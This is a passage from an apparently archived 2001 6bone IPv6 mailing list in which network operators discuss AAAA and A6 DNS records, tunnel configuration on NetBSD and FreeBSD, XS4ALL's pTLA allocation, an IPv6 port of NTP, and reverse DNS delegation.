% >     foo.bar.net IN AAAA     3ffe:1234:5678:1::1
% >
% >
% > ==================
% > A6 RECORDS
% > ==================
% >
% >    o  A new resource record type, "A6", is defined to map a domain name
% >       to an IPv6 address, with a provision for indirection for leading
% >       "prefix" bits.
% >
% > -- RFC 2874
% >
% > BIND Example:
% >     ip6prefix     IN A6 0 3ffe:1234:5678::
% >     ns6           IN A6 48 ::1:a:b:c:d ip6prefix
% >     www6          IN A6 48 ::1:b:c:d:e ip6prefix
% >
% >
% > // lazy
% >
% > Yuttana wrote:
% > >
% > > Hi all,
% > >
% > > I'm a beginner of IPv6 and I don't know about AAAA and A6 record of name
% > > server.
% > > How are different about it? Can anybody explain it for me?
% > >
% > > Thank you
% > > Mon
% > >
% > > _________________________________________________________
% > > Do You Yahoo!?
% > > Get your free @yahoo.com address at http://mail.yahoo.com
% >
% > --
% >
% >  ..:: Jesus saves, but Ctrl+S is faster. :)
% >  PGP: RSA 2048bit 0xB7673053 (keyserver.pgp.com)
% >  Web: http://packetjunkie.net  http://bsdbox.org
% 
% 
% _________________________________________________________
% Do You Yahoo!?
% Get your free @yahoo.com address at http://mail.yahoo.com
% 


-- 
--bill

From 6bone-owner  Sun Sep 16 12:52:23 2001
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Date: Sun, 16 Sep 2001 15:52:23 -0400 (EDT)
From: John Klos <john@sixgirls.org>
To: <6bone@ISI.EDU>
Subject: Re: Linux Help for ipv6
In-Reply-To: <019201c13cd4$d3d32cd0$14cf9acb@Zerg>
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Hello,

Does anyone know what might cause this warning?
Sep 16 15:05:33 reva /netbsd: nd6_lookup: failed to add route for a
neighbor(3ffe:80c0:0220::0034), errno=17

(My address = 3ffe:80c0:0220::0035; remote address = 3ffe:80c0:0220::0034;
default route for inet6 = 3ffe:80c0:0220::0034)

Thanks,
John Klos
sixgirls.org Systems Administrator
-- 
"On two occasions I have been asked [by members of Parliament!], `Pray,
Mr.  Babbage, if you put into the machine wrong figures, will the right
answers come out?'  I am not able rightly to apprehend the kind of
confusion of ideas that could provoke such a question."
                -- Charles Babbage



From 6bone-owner  Sun Sep 16 15:45:51 2001
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Subject: netbsd Help for ipv6 
From: itojun@iijlab.net
Date: Mon, 17 Sep 2001 07:45:47 +0900
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>Does anyone know what might cause this warning?
>Sep 16 15:05:33 reva /netbsd: nd6_lookup: failed to add route for a
>neighbor(3ffe:80c0:0220::0034), errno=17
>(My address = 3ffe:80c0:0220::0035; remote address = 3ffe:80c0:0220::0034;
>default route for inet6 = 3ffe:80c0:0220::0034)

	i guess you are using netbsd
	if you configure your tunnel interface like below, the above
	message will appear.
	# ifconfig gif0 A B prefixlen 127
	# ifconfig gif0 A B prefixlen 64

	correct configuration is like this.
	# ifconfig gif0 A B prefixlen 128

itojun

From 6bone-owner  Sun Sep 16 16:32:23 2001
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From: "Ramon Smits" <exyll@xs4all.nl>
To: <6bone@ISI.EDU>
Subject: IPv6 on the Windows platform
Date: Mon, 17 Sep 2001 01:31:26 +0200
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Hi all,

I am new to IPv6 but want to learn more about it. I have the following
network at the moment


WindowsXP 1. <---(IPv4)---> 2. Windows2000 3. <---(IPv4)---> 4. ISP

Interface 1, 2 and 3 and NIC's. A VPN connection is build over interface
3.

I have installed/started IPv6 on my XP box as stated at:
http://www.microsoft.com/windowsxp/pro/techinfo/administration/ipv6/defa
ult.asp

There seem to be 2 IPv6 drivers for Windows2000. A technology preview
and a research version. Which one would be the best to install?


I thing IPv6 should be possible on my LAN (traffic between interfaces 1
and 2). And IPv6 over IPv4 with my ISP connection.

How should I configure my client (XP box) to use IPv6 and not to do IPv6
over IPv4 routing.
How should I configure my server (2000 box) to do IPv6 on my LAN and
IPv6 over IPv4 with my ISP connection.
How do I configure my server to do the IPv6 routing for my client.

My VPN dialup (DSL) to my ISP has a static IP.


I do not need a step by step manual but more like the actions I have to
do to make this work because I am new to this stuff.


Are there already applications available for the Windows platform that
use IPv6? With that I do not mean ping, tracert, etc. :-)




Yours sincerely,
Ramon


From 6bone-owner  Tue Sep 18 14:43:33 2001
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Date: Tue, 18 Sep 2001 14:42:53 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for XS4ALL-NL (http://www.xs4all.nl) - review
  closes 2 October 2001
Cc: Erik Bos <erik@xs4all.net>
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6bone Folk,

XS4ALL-NL (http://www.xs4all.nl) has requested a pTLA allocation. The open 
review period for this will close 2 October 2001. Please send your comments 
to me or the list.


Thanks,

Bob

===
>Date: Tue, 18 Sep 2001 16:26:00 +0200
>From: Erik Bos <erik@xs4all.net>
>To: fink@es.net
>Cc: remcovz@xs4all.net
>Subject: 6bone pTLA request
>
>hi Bob,
>
>We would like to apply for a 6bone pTLA allocation, please let us know if
>you have any further questions.
>
>regards,
>
>Erik
>
>--
>The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>ipv6-site: XS4ALL-NL exists in the 6bone registry. It currently has a
>contact 'XS42-RIPE' (a role) and two references to persons. We have
>requested a maintainer object MNT-XS4ALL from the registry and will use
>this to guard our objects in the future.
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>We are connected to the AMS-IX IPv6 shared medium and have been allocated
>the following address: 3ffe:3000::a500:3265:1
>
>We are natively connected to other dutch/european networks via this IPv6
>network and have no outgoing tunnels on which we do IPv6 (BGP) peering
>yet, due to us having a /48 from the INTOUCH-NL sTLA. We do, however
>maintain BGP4+ to INTOUCH-NL, NTT Europe, and RIPE-NCC.
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>* We maintain a forward for ipv6.xs4all.nl in the xs4all.nl nameservers:
>xs4all.nl. name server ns.ripe.net.
>xs4all.nl. name server ns.xs4all.nl.
>xs4all.nl. name server ns2.xs4all.nl.
>
>* We have nameservers responding to IPv4 queries regarding the following
>zonefile: (2001:6e0:20a::/48)
>a.0.2.0.0.e.6.0.1.0.0.2.ip6.int. name server ns.xs4all.nl.
>a.0.2.0.0.e.6.0.1.0.0.2.ip6.int. name server ns2.xs4all.nl.
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>We have a Cisco 3640 at the AMS-v6-IX, directing the /48 to our head quarters
>in Diemen, NL. We have a FreeBSD machine online which will host various
>low yield services such as an Apache/v6, Bind9 and a simple tunnelbroker for
>testing purposes.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>Remco van Zuijlen <remcovz@xs4all.net>
>Erik Bos <erik@xs4all.net>
>And the XS42-RIPE role, which poses as our network admin contact.
>
>       b. A common mailbox for support contact purposes that all support
>          staff have access to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>This email address is the same as for IPv4 operational communication
><netmaster@xs4all.nl> and has will be put into all relevant objects.
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>XS4ALL was the first ISP in the Netherlands offering Internetaccess to the
>public since 1993, we offer DSL since 1999 and would like to offer IPv6
>connectivity and services to all DSL-customers. (we currently have about 30k
>DSL connections and expect to have about 60k DSL users by the end of this
>year)
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>We plan to abide by these rules and policies.
-end


From 6bone-owner  Thu Sep 20 12:44:31 2001
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Date: Thu, 20 Sep 2001 15:28:31 -0400
To: users@ipv6.org, 6bone@ISI.EDU, tech@canarie.ca
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: NTP available on IPv6
Cc: ntp@viagenie.qc.ca
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Hi,
  We ported the Network Time Protocol (NTP) current distribution 
(ntp-4.1.0.tar.gz) to IPv6. The main components (client, server) have been 
ported to enable the use of NTP over IPv6 to synchronize clocks of IPv6 
nodes, however, a few other optional components are being ported.

The patches are now integrated in an ntp ipv6-dev branch of the ntp source 
tree by the NTP developers for further testing, code inspection and 
integration with the main source tree. Discussions have also started with 
the NTP developers and Dave Mills on the few issues that remain to be fixed 
(refid as an example).

The port was done by Jean-François Boudreault.

A Stratum-1 NTP server is running over IPv6-only at: 
ntp.ipv6.viagenie.qc.ca: it is using a Trimble Palisade GPS as its direct 
connected source. The service is available on a best effort basis without 
any guarantee.

Information on how to get the code and how to use the NTPv6 service is 
available at: http://www.viagenie.qc.ca/en/ipv6/ntpv6/index.shtml.

We are looking for feedback from users who would like to test the code and 
the server.

Please send your questions/suggestions/modifications/... to ntp@viagenie.qc.ca.

Regards, Marc.

PS. Also an SNTP client and server has been developed (from scratch) and is 
also available at the same URL.



From 6bone-owner  Thu Sep 20 12:47:43 2001
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From: "Jonathan Steinert" <hachi@kuiki.net>
To: "6bone" <6bone@ISI.EDU>
Subject: Searching for 3com
Date: Thu, 20 Sep 2001 14:48:22 -0500
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I used to have tunnel connectivity through 3com (aka 6com), but my IPv4
address allocation has changed. When I went to email my contact at 3com, I
got a bounced email. All email addresses associated with 3com in the
registry bounce and their phone numbers have come up as disconnected.

If anyone out there knows of a new contact at 3com for 6bone
tunneling/connectivity could you please let me know? Does anyone out there
use a tunnel through 3com and does this tunnel still work?

Thanks much

------------------------------ -- -+- -- -------------------------------
hachi@kuiki.net            Jonathan Steinert           http://kuiki.net/
"She smiled again, shrugged her shoulders, and became a perfect mirror."
------------------------------------------------------------------------



From 6bone-owner  Fri Sep 21 01:52:08 2001
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Subject: Re: NTP available on IPv6
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On Thu, 20 Sep 2001, Marc Blanchet wrote:

> Hi,
>   We ported the Network Time Protocol (NTP) current distribution
> (ntp-4.1.0.tar.gz) to IPv6. The main components (client, server) have been

Brilliant! Almost...

# ./ntpdate/ntpdate ntp.ipv6.viagenie.qc.ca
Looking for host ntp.ipv6.viagenie.qc.ca and service 123
host found : 3ffe:b00:c18:1:202:b3ff:fe31:fa5f
21 Sep 09:48:31 ntpdate[8143]: no server suitable for synchronization
found
#

Also, on starting ntpd, /var/adm/messages reports:
Sep 21 09:44:14 cadsa ntpd[8124]: [ID 702911 daemon.notice] ntpd 4.1.0 Fri
Sep 21 09:30:38 BST 2001 (1)
Sep 21 09:44:14 cadsa ntpd[8124]: [ID 702911 daemon.notice] kernel time
discipline status 0040
Sep 21 09:44:27 cadsa ntpd[8124]: [ID 702911 daemon.error]
sendto(3ffe:b00:c18:1:202:b3ff:fe31:fa5f): Address family not supported by
protocol family
Sep 21 09:47:39 cadsa last message repeated 3 times

Solaris 8 on Sparc 20, patched to the hilt.

Pete.


From 6bone-owner  Fri Sep 21 04:12:11 2001
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From: Malte Starostik <malte@xray.mine.nu>
To: 6bone@ISI.EDU
Subject: Beginner's question
Date: Fri, 21 Sep 2001 13:12:04 +0200
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Hello,

please excuse my ignorance if this is offtopic here :-)
I have just succeeded to set up a tunnel via freenet6. Now, I wonder what are 
the possibilities to get DNS working.
Is there some kind of testing TLD for IPv6 only where I could get a subdomain 
with an NS record pointing to my local DNS server? As I don't have a static 
IPv4 address, I don't see how I could register a "normal" domain with an IPv4 
NS record... and if so, how to get reverse lookups for 3ffe:0b80:024b::/48 to 
be delegated to here?

Many thanks,
-- 
Malte Starostik
PGP: 1024D/D2F3C787 [C138 2121 FAF3 410A 1C2A  27CD 5431 7745 D2F3 C787]
ø¿<A ÄXð¿<

From 6bone-owner  Fri Sep 21 06:33:38 2001
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Subject: Re: Beginner's question
To: malte@xray.mine.nu (Malte Starostik)
Date: Fri, 21 Sep 2001 06:33:43 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <200109211112.f8LBC4606544@zaphod.home.lan> from "Malte Starostik" at Sep 21, 2001 01:12:04 PM
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% 
% Hello,
% 
% please excuse my ignorance if this is offtopic here :-)
% I have just succeeded to set up a tunnel via freenet6. Now, I wonder what are 
% the possibilities to get DNS working.
% Is there some kind of testing TLD for IPv6 only where I could get a subdomain 
% with an NS record pointing to my local DNS server? As I don't have a static 
% IPv4 address, I don't see how I could register a "normal" domain with an IPv4 
% NS record... and if so, how to get reverse lookups for 3ffe:0b80:024b::/48 to 
% be delegated to here?
% 
% Many thanks,
% -- 
% Malte Starostik
% PGP: 1024D/D2F3C787 [C138 2121 FAF3 410A 1C2A  27CD 5431 7745 D2F3 C787]
% ø¿<A ÄXð¿<

the same way you get any IP reverse delegated to you.  talk to the folks 
who delegated you the space, get your nameservers set up to serve:

b.4.2.0.0.8.b.0.e.f.f.3.ip6.int 

and populate your zone.

-- 
--bill

From 6bone-owner  Fri Sep 21 07:19:45 2001
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Date: Fri, 21 Sep 2001 16:19:35 +0200
From: Andre Grueneberg <andre@grueneberg.de>
To: Malte Starostik <malte@xray.mine.nu>
Cc: 6bone@ISI.EDU
Subject: Re: Beginner's question
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Hi Malte,

Malte Starostik wrote:
> Is there some kind of testing TLD for IPv6 only where I could get a subdomain 
> with an NS record pointing to my local DNS server? As I don't have a static 
> IPv4 address, I don't see how I could register a "normal" domain with an IPv4 
> NS record... and if so, how to get reverse lookups for 3ffe:0b80:024b::/48 to 
> be delegated to here?

And why do you need to register a second level domain?

Andre
-- 
I wish the Government would put a tax on pianos for the incompetent.

From 6bone-owner  Fri Sep 21 07:35:33 2001
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From: Malte Starostik <malte@xray.mine.nu>
To: Andre Grueneberg <andre@grueneberg.de>
Subject: Re: Beginner's question
Date: Fri, 21 Sep 2001 16:35:31 +0200
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Am Friday 21 September 2001 16:19 schrieb Andre Grueneberg:
> Hi Malte,
>
> Malte Starostik wrote:
> > Is there some kind of testing TLD for IPv6 only where I could get a
> > subdomain with an NS record pointing to my local DNS server? As I don't
> > have a static IPv4 address, I don't see how I could register a "normal"
> > domain with an IPv4 NS record... and if so, how to get reverse lookups
> > for 3ffe:0b80:024b::/48 to be delegated to here?
>
> And why do you need to register a second level domain?
Uhm, right, no need to, any level would do, I just didn't think about that 
*sigh*
Thanks for reminding me, guess I'll find someone to delegate a subdomain then. 

-- 
Malte Starostik
PGP: 1024D/D2F3C787 [C138 2121 FAF3 410A 1C2A  27CD 5431 7745 D2F3 C787]


$Ü,;pper      

From 6bone-owner  Fri Sep 21 07:42:43 2001
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To: "'Malte Starostik'" <malte@xray.mine.nu>
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Subject: RE: Beginner's question
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Hello,

Your DNS server need a static IP.
Send a e-mail to freenet6 (Viagenie) to delegate your /48 on your DNS
server.
Don't forget: IPv6 in DNS server use AAAA records, not A, your DNS
server must support IPv6 like IPv6.

Best Regards,

Nicolas DEFFAYET

> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On 
> Behalf Of Malte Starostik
> Sent: Friday, September 21, 2001 1:12 PM
> To: 6bone@ISI.EDU
> Subject: Beginner's question
> 
> 
> Hello,
> 
> please excuse my ignorance if this is offtopic here :-)
> I have just succeeded to set up a tunnel via freenet6. Now, I 
> wonder what are 
> the possibilities to get DNS working.
> Is there some kind of testing TLD for IPv6 only where I could 
> get a subdomain 
> with an NS record pointing to my local DNS server? As I don't 
> have a static 
> IPv4 address, I don't see how I could register a "normal" 
> domain with an IPv4 
> NS record... and if so, how to get reverse lookups for 
> 3ffe:0b80:024b::/48 to 
> be delegated to here?
> 
> Many thanks,
> -- 
> Malte Starostik
> PGP: 1024D/D2F3C787 [C138 2121 FAF3 410A 1C2A  27CD 5431 7745 
> D2F3 C787]
>     ø¿<A ÄX    ð¿< 
> 


From 6bone-owner  Fri Sep 21 11:12:13 2001
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Subject: Re: Beginner's question
To: extml@ndsoftware.net (NDSoftware)
Date: Fri, 21 Sep 2001 11:12:11 -0700 (PDT)
Cc: malte@xray.mine.nu ('Malte Starostik'), 6bone@ISI.EDU
In-Reply-To: <00d201c142ab$a7493c40$0102010a@localnet.ndsoftware.net> from "NDSoftware" at Sep 21, 2001 04:42:35 PM
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% 
% Hello,
% 
% Your DNS server need a static IP.
% Send a e-mail to freenet6 (Viagenie) to delegate your /48 on your DNS
% server.
% Don't forget: IPv6 in DNS server use AAAA records, not A, your DNS
% server must support IPv6 like IPv6.


	AAAA yes, IPv6 transport, No.

% 
% Best Regards,
% 
% Nicolas DEFFAYET

-- 
--bill

From 6bone-owner  Fri Sep 21 12:05:40 2001
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From: "NDSoftware" <extml@ndsoftware.net>
To: "'Bill Manning'" <bmanning@ISI.EDU>
Cc: "'Malte Starostik'" <malte@xray.mine.nu>, <6bone@ISI.EDU>
Subject: RE: Beginner's question
Date: Fri, 21 Sep 2001 21:05:23 +0200
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server must support IPv6 like IPv6.

please read:

server must support IPv6 like BIND9.

sorry for this error.

Yes the DNS server can use IPv4 for resolve IPv6...

Nicolas DEFFAYET

> -----Original Message-----
> From: Bill Manning [mailto:bmanning@ISI.EDU] 
> Sent: Friday, September 21, 2001 8:12 PM
> To: NDSoftware
> Cc: 'Malte Starostik'; 6bone@ISI.EDU
> Subject: Re: Beginner's question
> 
> 
> % 
> % Hello,
> % 
> % Your DNS server need a static IP.
> % Send a e-mail to freenet6 (Viagenie) to delegate your /48 
> on your DNS
> % server.
> % Don't forget: IPv6 in DNS server use AAAA records, not A, your DNS
> % server must support IPv6 like IPv6.
> 
> 
> 	AAAA yes, IPv6 transport, No.
> 
> % 
> % Best Regards,
> % 
> % Nicolas DEFFAYET
> 
> -- 
> --bill
> 


From 6bone-owner  Fri Sep 21 16:02:42 2001
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Message-ID: <3BABC6F3.11971864@cisco.com>
Date: Sat, 22 Sep 2001 00:02:11 +0100
From: Paul Aitken <paitken@cisco.com>
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Subject: Cisco 6bone outage Saturday October 6th, 2001
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There is a planned electrical outage in the data centre housing our
6bone router on Saturday October 6th, 2001 from 7:00am until 4:00pm
Pacific Time. As a precautionary measure, our 6bone router will be shut
down ahead of this outage and service will not be restored until after
the outage.

Cisco will not provide any 6bone connectivity during the outage. If you
have a 6bone tunnel or peering with Cisco and are planning on using the
6bone during this time, you should make alternative arrangements.

Our apologies for any inconvenience this may cause.


NB I've already contacted all our known tunnel customers and peers,
twice. If you have a 6bone tunnel or peering with Cisco and have not yet
received this notice, you should contact ipv6-support@cisco.com
immediately to be added to our contact list.

Thanks.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX

From 6bone-owner  Mon Sep 24 13:56:13 2001
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From: Pawel Jankowski <janekp@janekp.net>
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Subject: ASpathtree and zebra
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Hi,

Anyone have patch for ASpathtree for reading data from zebra?

Regards,
Pawel

-- 
Covered by PPL
Pawel Jankowski, janekp@IRCnet
Phone: +48 71 783-14-61, GSM: +48 606 473 779
mailto: janekp@qm.pl
6bone-hdl: PJ3-6BONE



From 6bone-owner  Tue Oct  2 12:30:31 2001
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Date: Tue, 02 Oct 2001 12:30:03 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8280::/28 allocated to XS4ALL-NL
Cc: Erik Bos <erik@xs4all.net>, Bill Manning <bmanning@ISI.EDU>
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XS4ALL-NL in The Netherlands has been allocated pTLA 3FFE:8280::/28 having 
finished its 2-week review period.

<http://whois.6bone.net/cgi-bin/whois?XS4ALL-NL>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
either bmanning@isi.edu or hostmaster@ep.net.


Thanks,

Bob


From 6bone-owner  Wed Oct  3 00:54:04 2001
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Date: Wed, 3 Oct 2001 03:54:15 -0400 (EDT)
From: John Klos <john@sixgirls.org>
To: <6bone@ISI.EDU>
Subject: Free wireless Internet including IPv6 in NYC
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Hello,

Sixgirls Computing Labs, along with NYCwireless, have set up a free
wireless Internet access point covering the west half of Tompkins Square
Park in New York City's East Village.

In addition to IPv4 Internet access, this access point offers native IPv6
routing through a tunnel to FreeNet.

We hope that making IPv6 accessible to the public increases awareness of
IPv6 and encourages more people to try out IPv6 themselves.

Comments, questions, and feedback is welcome.

http://www.sixgirls.org/wireless/
http://www.nycwireless.net/

Thanks,
John Klos
Sixgirls Computing Labs


From 6bone-owner  Wed Oct  3 16:50:13 2001
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Date: Wed, 03 Oct 2001 19:48:39 -0400
From: lazy <lazy@bsdbox.org>
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To: "Rendo A.W" <rendo@itb.ac.id>
CC: kim chua <chuakk@lycos.com>,
        "Oliver, Michael W." <oliver.michael@gargantuan.com>,
        ipng@sunroof.eng.sun.com, 6bone@ISI.EDU, users@ipv6.org
Subject: Re: FreeBSD_4.4 + ipfilter_3.4.20 + IPv6 = headache...
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Is it supposed to exist? ;)

Check your kernel configuration and make sure you
have it enabled, the line should look something
similar to:
    pseudo-device  gif   4

// lazy


"Rendo A.W" wrote:
> 
> how could i do that if gif interface didn't exist ?
> this is the error message
> 
> root  >> ifconfig gif create
> ifconfig: interface gif does not exist
> 
> # RENDO A.W >>
> 
> On Wed, 3 Oct 2001, kim  chua wrote:
> 
> > I think you need to create gif interface first:
> >
> > ifconfig gif create
> >
> > hope this helps,
> >
> > Chua K K
> > NTT MSC
> > Cyberjaya
> > Malaysia
> > --
> >
> > On Mon, 1 Oct 2001 08:51:36
> >  Rendo A.W wrote:
> > >
> > >I agree with you, I also failed in make tunnel for ipv6 in FreeBSD
> > >4.4-Stable. The gif interface didn't appear and I can't use stf for
> > >tunnelling.
> > >Can anyone explain me how to make tunneling in FreeBSD 4.4-Stable ?
> > >
> > >Thank you  and sorry about my poor english.
> > >
> > ># RENDO A.W >>
> > >
> > >On Sun, 30 Sep 2001, Oliver, Michael W. wrote:
> > >
> > >> I realize that this may be somewhat off topic, but please hear me out.  I
> > >> have been spending the past few days trying to build a FreeBSD 4.4 STABLE
> > >> firewall, using the included ipfilter 3.4.20 port, that supports IPv6
> > >> filtering.  I have been completely unsuccessful up to now.  I have also
> > >> bypassed the port and downloaded 3.4.20 from ftp://coombs.anu.edu.au/ and,
> > >> following the instructions from a Zama pdf
> > >> (ftp://www.zamanetworks.com/pub/knowledgebase/techdocs/Implementing%20an%20I
> > >> Pv6%20and%20IPv4%20IPF%20firewall%20on%20FreeBSD%204.2.pdf), tried to
> > >> compile.  Now, I know that the Zama pdf instructions are for ipfilter
> > >> 3.4.16, but that version isn't available anymore.  Anyway, the patch fails
> > >> when I try to apply it....  <sigh>
> > >>
> > >> Has anyone tried this setup yet?  I have posted this to the FreeBSD
> > >> newsgroups, but I figured that I would send it here also since this may be
> > >> too 'out there' for the newsgroups.  Thanks in advance!
> > >>
> > >>  ---------------
> > >> |* * * *|~~~~~~~|
> > >> | * * * |~~~~~~~| Michael Oliver, CCNP  oliver.michael@gargantuan.com
> > >> |* * * *|~~~~~~~|
> > >> |~~~~~~~~~~~~~~~|            http://michael.gargantuan.com/
> > >> |~~~~~~~~~~~~~~~|
> > >> |~~~~~~~~~~~~~~~|      God bless America and all of her patriots.
> > >> |~~~~~~~~~~~~~~~|
> > >>  ---------------
> > >>
> > >> ---------------------------------------------------------------------
> > >> The IPv6 Users Mailing List
> > >> Unsubscribe by sending "unsubscribe users" to majordomo@ipv6.org
> > >>
> > >
> > >
> > >---------------------------------------------------------------------
> > >The IPv6 Users Mailing List
> > >Unsubscribe by sending "unsubscribe users" to majordomo@ipv6.org
> > >
> >
> >
> > Make a difference, help support the relief efforts in the U.S.
> > http://clubs.lycos.com/live/events/september11.asp
> >
> > ---------------------------------------------------------------------
> > The IPv6 Users Mailing List
> > Unsubscribe by sending "unsubscribe users" to majordomo@ipv6.org
> >
> 
> --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home Page:                      http://playground.sun.com/ipng
> FTP archive:                      ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to majordomo@sunroof.eng.sun.com
> --------------------------------------------------------------------

-- 

 ..:: Too many people... Too few neurons.
 PGP: RSA 2048bit 0xB7673053 (keyserver.pgp.com)
 Web: http://packetjunkie.net  http://bsdbox.org

From 6bone-owner  Thu Oct  4 13:59:35 2001
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	Thu, 4 Oct 2001 16:57:37 -0400
Date: Thu, 4 Oct 2001 16:57:37 -0400
From: Pete Toscano <pete@research.netsol.com>
To: "Rendo A.W" <rendo@itb.ac.id>
Cc: lazy <lazy@bsdbox.org>, kim chua <chuakk@lycos.com>,
        "Oliver, Michael W." <oliver.michael@gargantuan.com>,
        ipng@sunroof.eng.sun.com, 6bone@ISI.EDU, users@ipv6.org
Subject: Re: FreeBSD_4.4 + ipfilter_3.4.20 + IPv6 = headache...
Message-ID: <20011004165737.C3547@tesla.admin.cto.netsol.com>
Mail-Followup-To: "Rendo A.W" <rendo@itb.ac.id>, lazy <lazy@bsdbox.org>,
	kim chua <chuakk@lycos.com>,
	"Oliver, Michael W." <oliver.michael@gargantuan.com>,
	ipng@sunroof.eng.sun.com, 6bone@ISI.EDU, users@ipv6.org
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Ah, my friends, I encountered the same problem back when I made my
FreeBSD IPv6 firewall and I have your answer.  =8]  

Somewhere around about that 4.3-to-4.4 cutover time, the kernel was
changed to not automatically create the gif interfaces.  You need to use
the gifconfig command.  The tip-off for me was some changes in
/etc/defaults/rc.conf.  Grep through /etc/defaults/rc.conf for gif.
Okay, I'll do that for you.  This is what you get:

====================
gif_interfaces="NO"             # List of GIF tunnels (or "NO").
#gif_interfaces="gif0 gif1"     # Examples typically for a router.
#gifconfig_gif0="10.1.1.1 10.1.2.1"     # Examples typically for a router.
#gifconfig_gif1="10.1.1.2 10.1.2.2"     # Examples typically for a router.
====================

Ah-ha!  I added something very similar to my /etc/rc.conf file and
everything was good.  Well, everything with respect to the gif interface
problems.  Here's sort of what I added:

====================
gif_interfaces="gif0" 
gifconfig_gif0="m1.m2.m3.m4 b1.b2.b3.b4"

ipv6_ifconfig_gif0="3ffe:mX::mY:0:0:e 3ffe:bX::bY:0:0:d prefixlen 128"
====================

The first two lines are used to create the gif interfaces and configure
their IPv4 end-points.  Add as many gif interfaces to gif_interfaces as
you need and for each one, add a gifconfig_gifX line (X >= 0).  The
first IPv4 address is mine, the second is the address at the other end
of the tunnel.

The third line (IPv6) configures the gif interface.  (Actually, this
isn't specific to the gif interface, but for the sake of being
complete...)

Upon restart, the interfaces all started up fine.

HTH,
pete


On Wed, 03 Oct 2001, lazy wrote:

> Is it supposed to exist? ;)
> 
> Check your kernel configuration and make sure you
> have it enabled, the line should look something
> similar to:
>     pseudo-device  gif   4
> 
> // lazy
> 
> 
> "Rendo A.W" wrote:
> > 
> > how could i do that if gif interface didn't exist ?
> > this is the error message
> > 
> > root  >> ifconfig gif create
> > ifconfig: interface gif does not exist
> > 
> > # RENDO A.W >>
> > 
> > On Wed, 3 Oct 2001, kim  chua wrote:
> > 
> > > I think you need to create gif interface first:
> > >
> > > ifconfig gif create
> > >
> > > hope this helps,
> > >
> > > Chua K K
> > > NTT MSC
> > > Cyberjaya
> > > Malaysia
> > > --
> > >
> > > On Mon, 1 Oct 2001 08:51:36
> > >  Rendo A.W wrote:
> > > >
> > > >I agree with you, I also failed in make tunnel for ipv6 in FreeBSD
> > > >4.4-Stable. The gif interface didn't appear and I can't use stf for
> > > >tunnelling.
> > > >Can anyone explain me how to make tunneling in FreeBSD 4.4-Stable ?
> > > >
> > > >Thank you  and sorry about my poor english.
> > > >
> > > ># RENDO A.W >>
> > > >
> > > >On Sun, 30 Sep 2001, Oliver, Michael W. wrote:
> > > >
> > > >> I realize that this may be somewhat off topic, but please hear me out.  I
> > > >> have been spending the past few days trying to build a FreeBSD 4.4 STABLE
> > > >> firewall, using the included ipfilter 3.4.20 port, that supports IPv6
> > > >> filtering.  I have been completely unsuccessful up to now.  I have also
> > > >> bypassed the port and downloaded 3.4.20 from ftp://coombs.anu.edu.au/ and,
> > > >> following the instructions from a Zama pdf
> > > >> (ftp://www.zamanetworks.com/pub/knowledgebase/techdocs/Implementing%20an%20I
> > > >> Pv6%20and%20IPv4%20IPF%20firewall%20on%20FreeBSD%204.2.pdf), tried to
> > > >> compile.  Now, I know that the Zama pdf instructions are for ipfilter
> > > >> 3.4.16, but that version isn't available anymore.  Anyway, the patch fails
> > > >> when I try to apply it....  <sigh>
> > > >>
> > > >> Has anyone tried this setup yet?  I have posted this to the FreeBSD
> > > >> newsgroups, but I figured that I would send it here also since this may be
> > > >> too 'out there' for the newsgroups.  Thanks in advance!

-- 
Pete Toscano            pete@research.netsol.com            703.948.3364

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From: "Yann-Ju Chu" <yjchui@cht.com.tw>
To: "6Bone" <6bone@ISI.EDU>
Subject: NAT-PT
Date: Mon, 8 Oct 2001 12:10:06 +0800
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Hi:
    I am looking for NAT-PT package and wish to try the function. I find =
in some web pages about BT's NAT-PT but can not find the place to =
download the software. (Some link has been out of date and can not be =
accessed). Does anybody know where I can download BT's NAT-PT software?

    Besides, is there any place with collections of existing NAT-PT =
imlementation?

Thanks
Yann-Ju Chu
